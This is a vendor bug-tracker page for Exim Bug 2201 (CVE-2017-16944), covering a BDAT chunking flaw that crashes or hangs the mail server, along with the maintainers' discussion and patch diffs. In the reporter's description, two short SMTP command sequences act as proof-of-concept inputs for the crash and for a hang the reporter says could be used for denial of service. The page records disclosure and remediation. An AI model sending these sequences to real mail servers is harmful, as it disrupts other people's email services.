Bug 2201 - Exim handles BDAT data incorrectly and leads to crash
Exim handles BDAT data incorrectly and leads to crash
Status: RESOLVED FIXED
Product: Exim
Classification: Unclassified
Component: Delivery in general
4.89
x86-64 Linux
: high security
: Exim 4.90
Assigned To: Heiko Schlittermann
:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2017-11-24 07:42 UTC by meh@devco.re
Modified: 2023-01-01 10:00 UTC (History)
6 users (show)

See Also:


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description meh@devco.re 2017-11-24 07:42:31 UTC
While parsing BDAT data header, exim still scans for '.' and consider it the end of mail.
https://github.com/Exim/exim/blob/master/src/src/receive.c#L1867

Exim goes into an incorrect state after this message is sent because the function pointer receive_getc is not reset. If the following command is also a BDAT, receive_getc and lwr_receive_getc become the same and an infinite loop occurs inside bdat_getc. Program crashes due to running out of stack.
https://github.com/Exim/exim/blob/master/src/src/smtp_in.c#L547

Here is a simple PoC which leads to an infinite loop and program crash:
```
EHLO localhost
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 10
.
BDAT 0
```
Part of debug info
============================
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30295 child 30502 ended: status=0x8b
15:36:54 30295   signal exit, signal 11 (core dumped)
15:36:54 30295 1 SMTP accept process now running
15:36:54 30295 Listening...
============================

We also found that this vulnerability can make exim hang(go into an infinite loop without crashing and run forever) even the connection is closed. It seems like this can be used to raise a resource based DoS attack.
This can be triggered using the following command:
```
EHLO localhost
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 100
.
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 0 LAST
```
// Tested on current master, ubuntu16.04.
Comment 1 Jeremy Harris 2017-11-24 10:20:23 UTC
Is this a duplicate of bug 2199 which you opened yesterday?
Comment 2 meh@devco.re 2017-11-24 10:23:46 UTC
No, this is another issue.
Comment 3 Phil Pennock 2017-11-25 03:49:03 UTC
CVE requested
Comment 4 Heiko Schlittermann 2017-11-25 12:19:28 UTC
(In reply to meh from comment #0)
> While parsing BDAT data header, exim still scans for '.' and consider it the
> end of mail.
> https://github.com/Exim/exim/blob/master/src/src/receive.c#L1867
> 
> Exim goes into an incorrect state after this message is sent because the
> function pointer receive_getc is not reset. If the following command is also
> a BDAT, receive_getc and lwr_receive_getc become the same and an infinite
> loop occurs inside bdat_getc. Program crashes due to running out of stack.
> https://github.com/Exim/exim/blob/master/src/src/smtp_in.c#L547
> 
> Here is a simple PoC which leads to an infinite loop and program crash:
> ```
> EHLO localhost
> MAIL FROM:<test@localhost>
> RCPT TO:<test@localhost>
> BDAT 10
> .
> BDAT 0
> ```
> // Tested on current master, ubuntu16.04.

I can reproduce it, though with a slightly changed "challenge".
Comment 5 Phil Pennock 2017-11-25 23:41:08 UTC
CVE-2017-16944
Comment 6 Git Commit 2017-11-28 21:27:10 UTC
Git commit: https://git.exim.org/exim.git/commitdiff/178ecb70987f024f0e775d87c2f8b2cf587dd542

commit 178ecb70987f024f0e775d87c2f8b2cf587dd542
Author:     Heiko Schlittermann (HS12-RIPE) <hs@schlittermann.de>
AuthorDate: Mon Nov 27 22:42:33 2017 +0100
Commit:     Heiko Schlittermann (HS12-RIPE) <hs@schlittermann.de>
CommitDate: Tue Nov 28 21:33:14 2017 +0100

    Chunking: do not treat the first lonely dot special. CVE-2017-16944, Bug 2201
---
 src/src/receive.c | 2 +-
 src/src/smtp_in.c | 7 +++++++
 2 files changed, 8 insertions(+), 1 deletion(-)

diff --git a/src/src/receive.c b/src/src/receive.c
index 541eba1..417e975 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1865,7 +1865,7 @@ for (;;)
   prevent further reading), and break out of the loop, having freed the
   empty header, and set next = NULL to indicate no data line. */
 
-  if (ptr == 0 && ch == '.' && (smtp_input || dot_ends))
+  if (ptr == 0 && ch == '.' && dot_ends)
     {
     ch = (receive_getc)(GETC_BUFFER_UNLIMITED);
     if (ch == '\r')
diff --git a/src/src/smtp_in.c b/src/src/smtp_in.c
index 1fdb705..0aabc53 100644
--- a/src/src/smtp_in.c
+++ b/src/src/smtp_in.c
@@ -5094,17 +5094,24 @@ while (done <= 0)
       DEBUG(D_receive) debug_printf("chunking state %d, %d bytes\n",
 				    (int)chunking_state, chunking_data_left);
 
+      /* push the current receive_* function on the "stack", and
+      replace them by bdat_getc(), which in turn will use the lwr_receive_*
+      functions to do the dirty work. */
       lwr_receive_getc = receive_getc;
       lwr_receive_getbuf = receive_getbuf;
       lwr_receive_ungetc = receive_ungetc;
+
       receive_getc = bdat_getc;
       receive_ungetc = bdat_ungetc;
 
+      dot_ends = FALSE;
+
       goto DATA_BDAT;
       }
 
     case DATA_CMD:
     HAD(SCH_DATA);
+    dot_ends = TRUE;
 
     DATA_BDAT:		/* Common code for DATA and BDAT */
     if (!discarded && recipients_count <= 0)
Comment 7 Jeremy Harris 2017-12-09 14:31:14 UTC
Noboy commented
Comment 8 meh@devco.re 2017-12-09 14:50:12 UTC
Sorry but I have to reopen it because I think this issue is not solved completely.
I sent the details to security@exim.org a week ago, could you check for it?
Comment 9 Jeremy Harris 2017-12-09 15:37:56 UTC
I replied to you, and you didn't respond.  On what you said, you have
misinterpreted the situation.
Comment 10 meh@devco.re 2017-12-09 15:45:35 UTC
I didn't receive your reply, could you please send again?
Comment 11 Git Commit 2017-12-12 23:27:10 UTC
Git commit: https://git.exim.org/exim.git/commitdiff/d21bf202dbce10f259310dffcc6993f4d9886e56

commit d21bf202dbce10f259310dffcc6993f4d9886e56
Author:     Jeremy Harris <jgh146exb@wizmail.org>
AuthorDate: Tue Dec 12 21:52:33 2017 +0000
Commit:     Jeremy Harris <jgh146exb@wizmail.org>
CommitDate: Tue Dec 12 22:14:38 2017 +0000

    chunking: flush input stream after message-fatal error detection.  bug 2201
----
 doc/doc-txt/ChangeLog |  5 +++++
 src/src/receive.c     | 34 ++++++++++++++++------------------
 2 files changed, 21 insertions(+), 18 deletions(-)
Comment 12 Jeremy Harris 2017-12-13 12:42:20 UTC
d21bf20 fixes the reproducer I created for the report with the re-open of the
bug.  It turned out to actually be a different issue, in flushing input between
detecting an overlong header line and accepting further SMTP commands.  The flush
is required in its own right, but has the side-effect of dropping us out of
BDAT-handling mode.
Comment 13 Git Commit 2017-12-19 23:34:12 UTC
Git commit: https://git.exim.org/exim.git/commitdiff/527504e8d8ff7a1cd967ea57cb7f29b92b052bae

commit 527504e8d8ff7a1cd967ea57cb7f29b92b052bae
Author:     Heiko Schlittermann (HS12-RIPE) <hs@schlittermann.de>
AuthorDate: Mon Nov 27 22:42:33 2017 +0100
Commit:     Heiko Schlittermann (HS12-RIPE) <hs@schlittermann.de>
CommitDate: Sun Dec 3 19:50:29 2017 +0100

    Chunking: do not treat the first lonely dot special. CVE-2017-16944, Bug 2201
---
 src/src/receive.c | 2 +-
 src/src/smtp_in.c | 7 +++++++
 2 files changed, 8 insertions(+), 1 deletion(-)

diff --git a/src/src/receive.c b/src/src/receive.c
index 5dc9bb5..ae2c93b 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1859,7 +1859,7 @@ for (;;)
   prevent further reading), and break out of the loop, having freed the
   empty header, and set next = NULL to indicate no data line. */
 
-  if (ptr == 0 && ch == '.' && (smtp_input || dot_ends))
+  if (ptr == 0 && ch == '.' && dot_ends)
     {
     ch = (receive_getc)(GETC_BUFFER_UNLIMITED);
     if (ch == '\r')
diff --git a/src/src/smtp_in.c b/src/src/smtp_in.c
index 28586f3..00e9d41 100644
--- a/src/src/smtp_in.c
+++ b/src/src/smtp_in.c
@@ -5097,17 +5097,24 @@ while (done <= 0)
       DEBUG(D_receive) debug_printf("chunking state %d, %d bytes\n",
 				    (int)chunking_state, chunking_data_left);
 
+      /* push the current receive_* function on the "stack", and
+      replace them by bdat_getc(), which in turn will use the lwr_receive_*
+      functions to do the dirty work. */
       lwr_receive_getc = receive_getc;
       lwr_receive_getbuf = receive_getbuf;
       lwr_receive_ungetc = receive_ungetc;
+
       receive_getc = bdat_getc;
       receive_ungetc = bdat_ungetc;
 
+      dot_ends = FALSE;
+
       goto DATA_BDAT;
       }
 
     case DATA_CMD:
     HAD(SCH_DATA);
+    dot_ends = TRUE;
 
     DATA_BDAT:		/* Common code for DATA and BDAT */
     if (!discarded && recipients_count <= 0)
Comment 14 Jeremy Harris 2017-12-23 14:43:23 UTC
Closing the re-open, as nobody commented on the fix